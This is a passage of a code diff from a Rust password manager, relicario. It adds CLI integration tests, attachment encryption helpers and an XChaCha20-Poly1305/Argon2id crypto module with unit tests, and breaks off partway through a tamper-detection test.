||||
.stdin(Stdio::null())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped());
|
||||
let out = cmd.output().unwrap();
|
||||
assert!(
|
||||
out.status.success(),
|
||||
"init failed:\nstdout: {}\nstderr: {}",
|
||||
String::from_utf8_lossy(&out.stdout),
|
||||
String::from_utf8_lossy(&out.stderr)
|
||||
);
|
||||
|
||||
Self {
|
||||
dir,
|
||||
reference_image: ref_path,
|
||||
passphrase,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn path(&self) -> &Path {
|
||||
self.dir.path()
|
||||
}
|
||||
|
||||
pub fn run(&self, args: &[&str]) -> std::process::Output {
|
||||
let mut cmd = Command::cargo_bin("relicario").unwrap();
|
||||
cmd.current_dir(self.dir.path())
|
||||
.env("RELICARIO_IMAGE", &self.reference_image)
|
||||
.env("RELICARIO_TEST_PASSPHRASE", &self.passphrase)
|
||||
.args(args)
|
||||
.stdin(Stdio::null())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped());
|
||||
cmd.output().unwrap()
|
||||
}
|
||||
|
||||
pub fn run_with_input(&self, args: &[&str], extra: &[&str]) -> std::process::Output {
|
||||
let mut cmd = Command::cargo_bin("relicario").unwrap();
|
||||
cmd.current_dir(self.dir.path())
|
||||
.env("RELICARIO_IMAGE", &self.reference_image)
|
||||
.env("RELICARIO_TEST_PASSPHRASE", &self.passphrase)
|
||||
.args(args)
|
||||
.stdin(Stdio::piped())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped());
|
||||
let mut child = cmd.spawn().unwrap();
|
||||
{
|
||||
let stdin = child.stdin.as_mut().unwrap();
|
||||
for line in extra {
|
||||
writeln!(stdin, "{line}").unwrap();
|
||||
}
|
||||
}
|
||||
child.wait_with_output().unwrap()
|
||||
}
|
||||
}
|
||||
|
||||
pub fn make_test_jpeg(w: u32, h: u32) -> Vec<u8> {
|
||||
use image::codecs::jpeg::JpegEncoder;
|
||||
use image::{ExtendedColorType, ImageBuffer, ImageEncoder, Rgb};
|
||||
|
||||
let img = ImageBuffer::from_fn(w, h, |x, y| {
|
||||
Rgb([
|
||||
((x * 7 + y * 13) % 256) as u8,
|
||||
((x * 11 + y * 3) % 256) as u8,
|
||||
((x * 5 + y * 17) % 256) as u8,
|
||||
])
|
||||
});
|
||||
let mut out = Vec::new();
|
||||
JpegEncoder::new_with_quality(&mut out, 92)
|
||||
.write_image(img.as_raw(), w, h, ExtendedColorType::Rgb8)
|
||||
.unwrap();
|
||||
out
|
||||
}
|
||||
59
crates/relicario-cli/tests/edit_and_history.rs
Normal file
59
crates/relicario-cli/tests/edit_and_history.rs
Normal file
@@ -0,0 +1,59 @@
|
||||
mod common;
|
||||
|
||||
use common::TestVault;
|
||||
|
||||
#[test]
|
||||
fn edit_password_captures_history() {
|
||||
let v = TestVault::init();
|
||||
v.run(&["add", "login", "--title", "bank",
|
||||
"--username", "u", "--password", "first-pw"]);
|
||||
|
||||
// edit: accept defaults on title/group/tags/username/url, then change pw.
|
||||
let out = run_edit_with_pw_change(&v, "bank", "second-pw");
|
||||
assert!(out.status.success(), "edit failed:\nstdout: {}\nstderr: {}",
|
||||
String::from_utf8_lossy(&out.stdout),
|
||||
String::from_utf8_lossy(&out.stderr));
|
||||
|
||||
// Verify the edit commit exists in git log.
|
||||
let log = std::process::Command::new("git")
|
||||
.current_dir(v.path()).args(["log", "--oneline"])
|
||||
.output().unwrap();
|
||||
let log_str = String::from_utf8(log.stdout).unwrap();
|
||||
assert!(log_str.contains("edit: bank"), "missing edit commit: {log_str}");
|
||||
|
||||
// And the item file has been re-written (there's a single items/<id>.enc).
|
||||
let items_dir = v.path().join("items");
|
||||
let entries: Vec<_> = std::fs::read_dir(&items_dir).unwrap()
|
||||
.map(|e| e.unwrap().path()).collect();
|
||||
assert_eq!(entries.len(), 1);
|
||||
}
|
||||
|
||||
/// Drives the interactive `edit` flow end-to-end:
|
||||
/// 1. passphrase via env var.
|
||||
/// 2. blank lines for title, group, tags, username, url.
|
||||
/// 3. "y" for "Change password?"
|
||||
/// 4. new password via RELICARIO_TEST_ITEM_SECRET env var.
|
||||
fn run_edit_with_pw_change(v: &TestVault, query: &str, new_pw: &str) -> std::process::Output {
|
||||
use assert_cmd::cargo::CommandCargoExt;
|
||||
use std::io::Write;
|
||||
use std::process::{Command, Stdio};
|
||||
|
||||
let mut cmd = Command::cargo_bin("relicario").unwrap();
|
||||
cmd.current_dir(v.path())
|
||||
.env("RELICARIO_IMAGE", &v.reference_image)
|
||||
.env("RELICARIO_TEST_PASSPHRASE", &v.passphrase)
|
||||
.env("RELICARIO_TEST_ITEM_SECRET", new_pw)
|
||||
.args(["edit", query])
|
||||
.stdin(Stdio::piped())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped());
|
||||
let mut child = cmd.spawn().unwrap();
|
||||
{
|
||||
let stdin = child.stdin.as_mut().unwrap();
|
||||
// title, group, tags, username, url (keep defaults), then yes-to-change-pw.
|
||||
for line in ["", "", "", "", "", "y"] {
|
||||
writeln!(stdin, "{line}").unwrap();
|
||||
}
|
||||
}
|
||||
child.wait_with_output().unwrap()
|
||||
}
|
||||
23
crates/relicario-cli/tests/settings.rs
Normal file
23
crates/relicario-cli/tests/settings.rs
Normal file
@@ -0,0 +1,23 @@
|
||||
mod common;
|
||||
|
||||
use common::TestVault;
|
||||
|
||||
#[test]
|
||||
fn settings_roundtrip_trash_retention() {
|
||||
let v = TestVault::init();
|
||||
let out = v.run(&["settings", "show"]);
|
||||
assert!(String::from_utf8(out.stdout).unwrap().contains("trash_retention"));
|
||||
|
||||
let out = v.run(&["settings", "trash-retention", "--days", "60"]);
|
||||
assert!(out.status.success(), "set failed: {:?}", out);
|
||||
let out = v.run(&["settings", "show"]);
|
||||
let stdout = String::from_utf8(out.stdout).unwrap();
|
||||
assert!(stdout.contains("60"), "expected 60: {stdout}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn settings_rejects_conflicting_retention_flags() {
|
||||
let v = TestVault::init();
|
||||
let out = v.run(&["settings", "trash-retention", "--days", "30", "--forever"]);
|
||||
assert!(!out.status.success());
|
||||
}
|
||||
59
crates/relicario-cli/tests/vault_detection.rs
Normal file
59
crates/relicario-cli/tests/vault_detection.rs
Normal file
@@ -0,0 +1,59 @@
|
||||
mod common;
|
||||
|
||||
use assert_cmd::cargo::CommandCargoExt;
|
||||
use std::process::Command;
|
||||
use tempfile::TempDir;
|
||||
|
||||
#[test]
|
||||
fn list_refuses_without_vault_marker() {
|
||||
let dir = TempDir::new().unwrap();
|
||||
// No .relicario/ in dir — list should bail with a friendly error.
|
||||
let mut cmd = Command::cargo_bin("relicario").unwrap();
|
||||
let out = cmd.current_dir(dir.path())
|
||||
.env("RELICARIO_TEST_PASSPHRASE", "foo")
|
||||
.arg("list")
|
||||
.output()
|
||||
.unwrap();
|
||||
assert!(!out.status.success());
|
||||
let stderr = String::from_utf8(out.stderr).unwrap();
|
||||
assert!(stderr.contains(".relicario"), "expected marker hint: {stderr}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn get_finds_vault_in_parent_dir() {
|
||||
let v = common::TestVault::init();
|
||||
v.run(&["add", "login", "--title", "parent-test",
|
||||
"--username", "u", "--password", "p"]);
|
||||
|
||||
// Create a nested subdir and run `list` from inside it.
|
||||
let nested = v.path().join("a/b/c");
|
||||
std::fs::create_dir_all(&nested).unwrap();
|
||||
|
||||
let mut cmd = Command::cargo_bin("relicario").unwrap();
|
||||
cmd.current_dir(&nested)
|
||||
.env("RELICARIO_IMAGE", &v.reference_image)
|
||||
.env("RELICARIO_TEST_PASSPHRASE", &v.passphrase)
|
||||
.arg("list");
|
||||
let out = cmd.output().unwrap();
|
||||
assert!(out.status.success(), "list from nested dir failed: {:?}", out);
|
||||
assert!(String::from_utf8(out.stdout).unwrap().contains("parent-test"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn v1_vault_is_rejected_with_clear_error() {
|
||||
// Synthesize an on-disk v1 vault: .idfoto/ dir with old params.json.
|
||||
// Since vault_dir detection uses .relicario/, the pre-rename dir name is
|
||||
// naturally rejected without any compat shim. Confirm that.
|
||||
let dir = TempDir::new().unwrap();
|
||||
std::fs::create_dir(dir.path().join(".idfoto")).unwrap();
|
||||
|
||||
let mut cmd = Command::cargo_bin("relicario").unwrap();
|
||||
let out = cmd.current_dir(dir.path())
|
||||
.env("RELICARIO_TEST_PASSPHRASE", "foo")
|
||||
.arg("list")
|
||||
.output()
|
||||
.unwrap();
|
||||
assert!(!out.status.success());
|
||||
let stderr = String::from_utf8(out.stderr).unwrap();
|
||||
assert!(stderr.contains(".relicario"), "expected relicario marker demand: {stderr}");
|
||||
}
|
||||
30
crates/relicario-core/Cargo.toml
Normal file
30
crates/relicario-core/Cargo.toml
Normal file
@@ -0,0 +1,30 @@
|
||||
[package]
|
||||
name = "relicario-core"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
description = "Core library for relicario password manager"
|
||||
|
||||
[dependencies]
|
||||
thiserror = "2"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
argon2 = "0.5"
|
||||
chacha20poly1305 = "0.10"
|
||||
rand = "0.8"
|
||||
sha2 = "0.10"
|
||||
sha1 = "0.10"
|
||||
hmac = "0.12"
|
||||
ed25519-dalek = { version = "2", features = ["rand_core"] }
|
||||
image = { version = "0.25", default-features = false, features = ["jpeg"] }
|
||||
|
||||
# Typed-item additions
|
||||
zeroize = { version = "1", features = ["zeroize_derive", "serde"] }
|
||||
zxcvbn = { version = "3", default-features = false }
|
||||
bip39 = { version = "2", default-features = false, features = ["std"] }
|
||||
unicode-normalization = "0.1"
|
||||
chrono = { version = "0.4", default-features = false, features = ["serde", "clock", "wasmbind"] }
|
||||
hex = "0.4"
|
||||
url = { version = "2", features = ["serde"] }
|
||||
getrandom = "0.2"
|
||||
|
||||
[dev-dependencies]
|
||||
166
crates/relicario-core/src/attachment.rs
Normal file
166
crates/relicario-core/src/attachment.rs
Normal file
@@ -0,0 +1,166 @@
|
||||
//! Attachment refs (carried on Item) and summaries (carried in Manifest).
|
||||
//!
|
||||
//! Encryption helpers (`encrypt_attachment`, `decrypt_attachment`) are added
|
||||
//! later in Task 22 once the crypto module is settled.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use crate::ids::AttachmentId;
|
||||
|
||||
/// Reference to an attachment, carried on the Item record.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AttachmentRef {
|
||||
pub id: AttachmentId,
|
||||
pub filename: String,
|
||||
pub mime_type: String,
|
||||
/// Plaintext size in bytes.
|
||||
pub size: u64,
|
||||
/// Unix-seconds when this attachment was added.
|
||||
pub created: i64,
|
||||
}
|
||||
|
||||
/// Compact summary of an attachment, carried in the Manifest so the popup
|
||||
/// can show attachment indicators without decrypting the item file.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AttachmentSummary {
|
||||
pub id: AttachmentId,
|
||||
pub filename: String,
|
||||
pub mime_type: String,
|
||||
pub size: u64,
|
||||
}
|
||||
|
||||
impl From<&AttachmentRef> for AttachmentSummary {
|
||||
fn from(r: &AttachmentRef) -> Self {
|
||||
Self {
|
||||
id: r.id.clone(),
|
||||
filename: r.filename.clone(),
|
||||
mime_type: r.mime_type.clone(),
|
||||
size: r.size,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
use crate::crypto::{decrypt, encrypt};
|
||||
use crate::error::{RelicarioError, Result};
|
||||
|
||||
/// Encrypted attachment with the AID derived from plaintext content.
|
||||
#[derive(Debug)]
|
||||
pub struct EncryptedAttachment {
|
||||
pub id: AttachmentId,
|
||||
pub bytes: Vec<u8>,
|
||||
}
|
||||
|
||||
/// Encrypt raw attachment bytes, deriving the [`AttachmentId`] from `sha256(plaintext)`.
|
||||
///
|
||||
/// Returns [`RelicarioError::AttachmentTooLarge`] immediately if `plaintext.len() > max_bytes`,
|
||||
/// before any crypto work is done.
|
||||
///
|
||||
/// ## Call-site adaptation
|
||||
///
|
||||
/// `crypto::encrypt` accepts `&[u8; 32]`; we coerce `&Zeroizing<[u8; 32]>` via
|
||||
/// `&**master_key` (double-deref: `Zeroizing<[u8;32]>` → `[u8;32]` → `&[u8;32]`).
|
||||
pub fn encrypt_attachment(
|
||||
plaintext: &[u8],
|
||||
master_key: &Zeroizing<[u8; 32]>,
|
||||
max_bytes: u64,
|
||||
) -> Result<EncryptedAttachment> {
|
||||
if plaintext.len() as u64 > max_bytes {
|
||||
return Err(RelicarioError::AttachmentTooLarge {
|
||||
size: plaintext.len() as u64,
|
||||
max: max_bytes,
|
||||
});
|
||||
}
|
||||
let id = AttachmentId::from_plaintext(plaintext);
|
||||
let bytes = encrypt(master_key, plaintext)?;
|
||||
Ok(EncryptedAttachment { id, bytes })
|
||||
}
|
||||
|
||||
/// Decrypt a blob produced by [`encrypt_attachment`], returning the plaintext
|
||||
/// wrapped in [`Zeroizing`] so it is wiped on drop.
|
||||
///
|
||||
/// ## Call-site adaptation
|
||||
///
|
||||
/// `crypto::decrypt` accepts `&[u8; 32]`; we coerce via `&**master_key`.
|
||||
pub fn decrypt_attachment(
|
||||
encrypted: &[u8],
|
||||
master_key: &Zeroizing<[u8; 32]>,
|
||||
) -> Result<Zeroizing<Vec<u8>>> {
|
||||
let plaintext = decrypt(master_key, encrypted)?;
|
||||
Ok(Zeroizing::new(plaintext))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod crypto_tests {
|
||||
use super::*;
|
||||
|
||||
fn key() -> Zeroizing<[u8; 32]> {
|
||||
Zeroizing::new([0x42u8; 32])
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn attachment_round_trip() {
|
||||
let plaintext = b"the quick brown fox jumps over the lazy dog";
|
||||
let enc = encrypt_attachment(plaintext, &key(), 1024).unwrap();
|
||||
let dec = decrypt_attachment(&enc.bytes, &key()).unwrap();
|
||||
assert_eq!(dec.as_slice(), plaintext);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn attachment_id_matches_sha256() {
|
||||
let plaintext = b"hello world";
|
||||
let enc = encrypt_attachment(plaintext, &key(), 1024).unwrap();
|
||||
assert_eq!(enc.id, AttachmentId::from_plaintext(plaintext));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn oversize_attachment_rejected() {
|
||||
let plaintext = vec![0u8; 11_000_000];
|
||||
let err = encrypt_attachment(&plaintext, &key(), 10 * 1024 * 1024);
|
||||
assert!(matches!(err, Err(RelicarioError::AttachmentTooLarge { .. })));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wrong_key_fails_with_opaque_decrypt() {
|
||||
let plaintext = b"x";
|
||||
let enc = encrypt_attachment(plaintext, &key(), 1024).unwrap();
|
||||
let wrong = Zeroizing::new([0u8; 32]);
|
||||
let err = decrypt_attachment(&enc.bytes, &wrong);
|
||||
assert!(matches!(err, Err(RelicarioError::Decrypt)));
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn attachment_ref_round_trip() {
|
||||
let r = AttachmentRef {
|
||||
id: AttachmentId("0123456789abcdef".into()),
|
||||
filename: "doc.pdf".into(),
|
||||
mime_type: "application/pdf".into(),
|
||||
size: 12345,
|
||||
created: 1_700_000_000,
|
||||
};
|
||||
let json = serde_json::to_string(&r).unwrap();
|
||||
let parsed: AttachmentRef = serde_json::from_str(&json).unwrap();
|
||||
assert_eq!(parsed.filename, "doc.pdf");
|
||||
assert_eq!(parsed.size, 12345);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn attachment_summary_from_ref() {
|
||||
let r = AttachmentRef {
|
||||
id: AttachmentId("aabb".into()),
|
||||
filename: "x.txt".into(),
|
||||
mime_type: "text/plain".into(),
|
||||
size: 5,
|
||||
created: 0,
|
||||
};
|
||||
let s: AttachmentSummary = (&r).into();
|
||||
assert_eq!(s.filename, "x.txt");
|
||||
assert_eq!(s.id, r.id);
|
||||
}
|
||||
}
|
||||
420
crates/relicario-core/src/crypto.rs
Normal file
420
crates/relicario-core/src/crypto.rs
Normal file
@@ -0,0 +1,420 @@
|
||||
//! Argon2id key derivation and XChaCha20-Poly1305 authenticated encryption.
|
||||
//!
|
||||
//! This module implements the low-level "encrypt bytes / decrypt bytes" layer.
|
||||
//! Higher-level typed wrappers (encrypt_entry, encrypt_manifest) live in [`crate::vault`].
|
||||
//!
|
||||
//! ## Why XChaCha20-Poly1305 over AES-GCM
|
||||
//!
|
||||
//! - **192-bit nonce** (vs. 96-bit for AES-GCM): eliminates nonce collision risk
|
||||
//! even with random nonces across billions of encryptions. With AES-GCM's 96-bit
|
||||
//! nonce, birthday-bound collisions become probable around 2^48 messages under
|
||||
//! the same key -- a real concern for a long-lived vault.
|
||||
//! - **Fast on WASM and ARM without AES-NI**: ChaCha20 is a pure arithmetic cipher
|
||||
//! (add/rotate/XOR) with no dependency on hardware AES acceleration. AES-GCM is
|
||||
//! fast *only* with AES-NI; without it, software AES is both slow and vulnerable
|
||||
//! to cache-timing side channels.
|
||||
//!
|
||||
//! ## Binary ciphertext format
|
||||
//!
|
||||
//! Every encrypted blob produced by [`encrypt`] has this layout:
|
||||
//!
|
||||
//! ```text
|
||||
//! [version: 1 byte] [nonce: 24 bytes] [ciphertext + Poly1305 tag: variable]
|
||||
//! ```
|
||||
//!
|
||||
//! - **Version byte** (`0x02`): allows future format changes without ambiguity.
|
||||
//! Decryption rejects any version it does not recognize.
|
||||
//! - **Nonce** (24 bytes): randomly generated per encryption via [`OsRng`].
|
||||
//! Stored alongside the ciphertext so the decryptor does not need out-of-band
|
||||
//! nonce management.
|
||||
//! - **Ciphertext + tag**: the AEAD output. The Poly1305 tag (16 bytes) is
|
||||
//! appended by the cipher implementation; we do not separate it.
|
||||
//!
|
||||
//! ## KDF pipeline
|
||||
//!
|
||||
//! [`derive_master_key`] concatenates the passphrase and image_secret as a single
|
||||
//! password input to Argon2id:
|
||||
//!
|
||||
//! ```text
|
||||
//! password = passphrase_bytes || image_secret (32 bytes)
|
||||
//! master_key = Argon2id(password, salt, params) -> 32 bytes
|
||||
//! ```
|
||||
//!
|
||||
//! Both factors contribute to the derived key -- compromising one without the
|
||||
//! other is insufficient. The salt is vault-specific and stored in `.relicario/salt`.
|
||||
|
||||
use argon2::{Algorithm, Argon2, Params, Version};
|
||||
use chacha20poly1305::{
|
||||
aead::{Aead, KeyInit},
|
||||
XChaCha20Poly1305, XNonce,
|
||||
};
|
||||
use rand::{rngs::OsRng, RngCore};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use unicode_normalization::UnicodeNormalization;
|
||||
use zeroize::Zeroizing;
|
||||
|
||||
use crate::error::{RelicarioError, Result};
|
||||
|
||||
/// Current binary format version. Increment this if the ciphertext layout changes.
|
||||
pub const VERSION_BYTE: u8 = 0x02;
|
||||
|
||||
/// XChaCha20-Poly1305 nonce length: 192 bits = 24 bytes.
|
||||
const NONCE_LEN: usize = 24;
|
||||
|
||||
/// Poly1305 authentication tag length: 128 bits = 16 bytes.
|
||||
/// Used only for minimum-length validation during decryption.
|
||||
const TAG_LEN: usize = 16;
|
||||
|
||||
/// Total header size: version byte + nonce. The ciphertext (including tag)
|
||||
/// follows immediately after the header.
|
||||
const HEADER_LEN: usize = 1 + NONCE_LEN; // version + nonce
|
||||
|
||||
/// Encrypt arbitrary plaintext bytes under a 256-bit key using XChaCha20-Poly1305.
|
||||
///
|
||||
/// Returns the binary blob in the format: `version(1) || nonce(24) || ciphertext+tag`.
|
||||
/// A fresh random nonce is generated for each call via the OS CSPRNG.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// Returns [`RelicarioError::Encrypt`] if the underlying AEAD operation fails
|
||||
/// (extremely unlikely in practice).
|
||||
pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
|
||||
let cipher = XChaCha20Poly1305::new(key.into());
|
||||
|
||||
// Generate a fresh random 24-byte nonce for every encryption.
|
||||
// With 192 bits of randomness, nonce reuse probability is negligible
|
||||
// even across billions of encryptions under the same key.
|
||||
let mut nonce_bytes = [0u8; NONCE_LEN];
|
||||
OsRng.fill_bytes(&mut nonce_bytes);
|
||||
let nonce = XNonce::from(nonce_bytes);
|
||||
|
||||
let ciphertext = cipher
|
||||
.encrypt(&nonce, plaintext)
|
||||
.map_err(|e| RelicarioError::Encrypt(e.to_string()))?;
|
||||
|
||||
// Output: version(1) || nonce(24) || ciphertext+tag
|
||||
let mut output = Vec::with_capacity(HEADER_LEN + ciphertext.len());
|
||||
output.push(VERSION_BYTE);
|
||||
output.extend_from_slice(&nonce_bytes);
|
||||
output.extend_from_slice(&ciphertext);
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
/// Decrypt a blob produced by [`encrypt`], returning the original plaintext.
|
||||
///
|
||||
/// Validates the version byte and minimum blob length before attempting
|
||||
/// authenticated decryption. If the key is wrong or the data has been
|
||||
/// tampered with, the Poly1305 tag verification fails and [`RelicarioError::Decrypt`]
|
||||
/// is returned -- with no information about which bytes were wrong (preventing
|
||||
/// padding oracle / chosen-ciphertext attacks).
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// - [`RelicarioError::Format`] if the data is too short or has an unknown version byte.
|
||||
/// - [`RelicarioError::Decrypt`] if the AEAD tag verification fails (wrong key or
|
||||
/// tampered data).
|
||||
pub fn decrypt(key: &[u8; 32], data: &[u8]) -> Result<Vec<u8>> {
|
||||
// Minimum valid blob: 1 (version) + 24 (nonce) + 16 (tag) = 41 bytes.
|
||||
// A zero-length plaintext produces exactly 41 bytes of output.
|
||||
if data.len() < HEADER_LEN + TAG_LEN {
|
||||
return Err(RelicarioError::Format(
|
||||
"data too short to be valid ciphertext".into(),
|
||||
));
|
||||
}
|
||||
|
||||
let found = data[0];
|
||||
if found != VERSION_BYTE {
|
||||
return Err(RelicarioError::UnsupportedFormatVersion {
|
||||
found,
|
||||
expected: VERSION_BYTE,
|
||||
});
|
||||
}
|
||||
|
||||
let nonce = XNonce::from_slice(&data[1..1 + NONCE_LEN]);
|
||||
let ciphertext = &data[HEADER_LEN..];
|
||||
|
||||
let cipher = XChaCha20Poly1305::new(key.into());
|
||||
let plaintext = cipher
|
||||
.decrypt(nonce, ciphertext)
|
||||
.map_err(|_| RelicarioError::Decrypt)?;
|
||||
|
||||
Ok(plaintext)
|
||||
}
|
||||
|
||||
/// Tunable parameters for the Argon2id key derivation function.
|
||||
///
|
||||
/// These are stored in the vault's `.relicario/params.json` so that every client
|
||||
/// derives the same master key from the same inputs. Making them configurable
|
||||
/// lets tests use fast params (m=256, t=1, p=1) while production uses strong
|
||||
/// params (m=64MiB, t=3, p=4).
|
||||
///
|
||||
/// The parameters follow Argon2id naming conventions:
|
||||
/// - `argon2_m`: memory cost in KiB
|
||||
/// - `argon2_t`: time cost (number of iterations)
|
||||
/// - `argon2_p`: parallelism degree (number of lanes)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct KdfParams {
|
||||
/// Memory cost in KiB. Default is 65536 (64 MiB), which makes GPU/ASIC
|
||||
/// brute-force attacks expensive. Tests use 256 KiB for speed.
|
||||
pub argon2_m: u32,
|
||||
/// Time cost (iteration count). Default is 3. Higher values increase CPU
|
||||
/// time linearly. Combined with high memory cost, this makes each key
|
||||
/// derivation take ~1 second on modern hardware.
|
||||
pub argon2_t: u32,
|
||||
/// Parallelism degree. Default is 4. Sets the number of independent lanes
|
||||
/// in the Argon2id memory-hard computation.
|
||||
pub argon2_p: u32,
|
||||
}
|
||||
|
||||
/// Production-strength default parameters: 64 MiB memory, 3 iterations, 4 lanes.
|
||||
///
|
||||
/// These are calibrated to take roughly 0.5-1 second on a modern desktop CPU,
|
||||
/// making brute-force attacks impractical while keeping interactive unlock fast
|
||||
/// enough for daily use.
|
||||
impl Default for KdfParams {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
argon2_m: 65536,
|
||||
argon2_t: 3,
|
||||
argon2_p: 4,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Derive a 256-bit master key from the user's passphrase and reference image secret.
|
||||
///
|
||||
/// The two factors (passphrase + image_secret) are concatenated into a single
|
||||
/// password input to Argon2id. This means both factors contribute entropy to
|
||||
/// the derived key -- compromising one factor alone is insufficient.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `passphrase`: the user's passphrase as raw UTF-8 bytes.
|
||||
/// - `image_secret`: the 32-byte secret extracted from the reference JPEG via
|
||||
/// [`crate::imgsecret::extract`].
|
||||
/// - `salt`: a 32-byte vault-specific salt (stored in `.relicario/salt`).
|
||||
/// - `params`: the Argon2id tuning parameters (stored in `.relicario/params.json`).
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// A 32-byte master key suitable for use with [`encrypt`] and [`decrypt`].
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// Returns [`RelicarioError::Kdf`] if the Argon2id parameters are invalid (e.g.,
|
||||
/// memory cost below the library's minimum).
|
||||
pub fn derive_master_key(
|
||||
passphrase: &[u8],
|
||||
image_secret: &[u8; 32],
|
||||
salt: &[u8; 32],
|
||||
params: &KdfParams,
|
||||
) -> Result<Zeroizing<[u8; 32]>> {
|
||||
let argon2_params = Params::new(
|
||||
params.argon2_m,
|
||||
params.argon2_t,
|
||||
params.argon2_p,
|
||||
Some(32),
|
||||
)
|
||||
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
|
||||
|
||||
let argon2 = Argon2::new(Algorithm::Argon2id, Version::V0x13, argon2_params);
|
||||
|
||||
// Normalize passphrase to NFC. Invalid UTF-8 bytes pass through unchanged.
|
||||
let nfc_passphrase: Vec<u8> = match std::str::from_utf8(passphrase) {
|
||||
Ok(s) => s.nfc().collect::<String>().into_bytes(),
|
||||
Err(_) => passphrase.to_vec(),
|
||||
};
|
||||
|
||||
// Length-prefixed concatenation: [u64_be(len(passphrase))][passphrase]
|
||||
// [u64_be(32)][image_secret]
|
||||
// Eliminates the (passphrase, image_secret) boundary ambiguity (audit H1).
|
||||
let mut password = Zeroizing::new(Vec::with_capacity(8 + nfc_passphrase.len() + 8 + 32));
|
||||
password.extend_from_slice(&(nfc_passphrase.len() as u64).to_be_bytes());
|
||||
password.extend_from_slice(&nfc_passphrase);
|
||||
password.extend_from_slice(&32u64.to_be_bytes());
|
||||
password.extend_from_slice(image_secret);
|
||||
|
||||
let mut output = Zeroizing::new([0u8; 32]);
|
||||
argon2
|
||||
.hash_password_into(password.as_slice(), salt, output.as_mut())
|
||||
.map_err(|e| RelicarioError::Kdf(e.to_string()))?;
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn fast_params() -> KdfParams {
|
||||
KdfParams {
|
||||
argon2_m: 256,
|
||||
argon2_t: 1,
|
||||
argon2_p: 1,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn derive_master_key_deterministic() {
|
||||
let passphrase = b"test-passphrase";
|
||||
let image_secret = [0x42u8; 32];
|
||||
let salt = [0x01u8; 32];
|
||||
let params = fast_params();
|
||||
|
||||
let key1 = derive_master_key(passphrase, &image_secret, &salt, ¶ms).unwrap();
|
||||
let key2 = derive_master_key(passphrase, &image_secret, &salt, ¶ms).unwrap();
|
||||
|
||||
assert_eq!(*key1, *key2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn derive_master_key_different_passphrase() {
|
||||
let image_secret = [0x42u8; 32];
|
||||
let salt = [0x01u8; 32];
|
||||
let params = fast_params();
|
||||
|
||||
let key1 = derive_master_key(b"passphrase-one", &image_secret, &salt, ¶ms).unwrap();
|
||||
let key2 = derive_master_key(b"passphrase-two", &image_secret, &salt, ¶ms).unwrap();
|
||||
|
||||
assert_ne!(*key1, *key2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn derive_master_key_different_image_secret() {
|
||||
let passphrase = b"test-passphrase";
|
||||
let salt = [0x01u8; 32];
|
||||
let params = fast_params();
|
||||
|
||||
let image_secret1 = [0x11u8; 32];
|
||||
let image_secret2 = [0x22u8; 32];
|
||||
|
||||
let key1 = derive_master_key(passphrase, &image_secret1, &salt, ¶ms).unwrap();
|
||||
let key2 = derive_master_key(passphrase, &image_secret2, &salt, ¶ms).unwrap();
|
||||
|
||||
assert_ne!(*key1, *key2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn encrypt_decrypt_round_trip() {
|
||||
let key = [0xABu8; 32];
|
||||
let plaintext = b"hello, relicario!";
|
||||
|
||||
let ciphertext = encrypt(&key, plaintext).unwrap();
|
||||
let decrypted = decrypt(&key, &ciphertext).unwrap();
|
||||
|
||||
assert_eq!(decrypted, plaintext);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn decrypt_wrong_key_fails() {
|
||||
let key = [0xABu8; 32];
|
||||
let wrong_key = [0xCDu8; 32];
|
||||
let plaintext = b"sensitive data";
|
||||
|
||||
let ciphertext = encrypt(&key, plaintext).unwrap();
|
||||
let result = decrypt(&wrong_key, &ciphertext);
|
||||
|
||||
assert!(result.is_err());
|
||||
assert!(matches!(result.unwrap_err(), RelicarioError::Decrypt));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn decrypt_tampered_data_fails() {
|
||||
let key = [0xABu8; 32];
|
||||
let plaintext = b"sensitive data";
|
||||
|
||||
let mut ciphertext = encrypt(&key, plaintext).unwrap();
|
||||
// Flip a byte in the ciphertext portion (after header)
|
||||
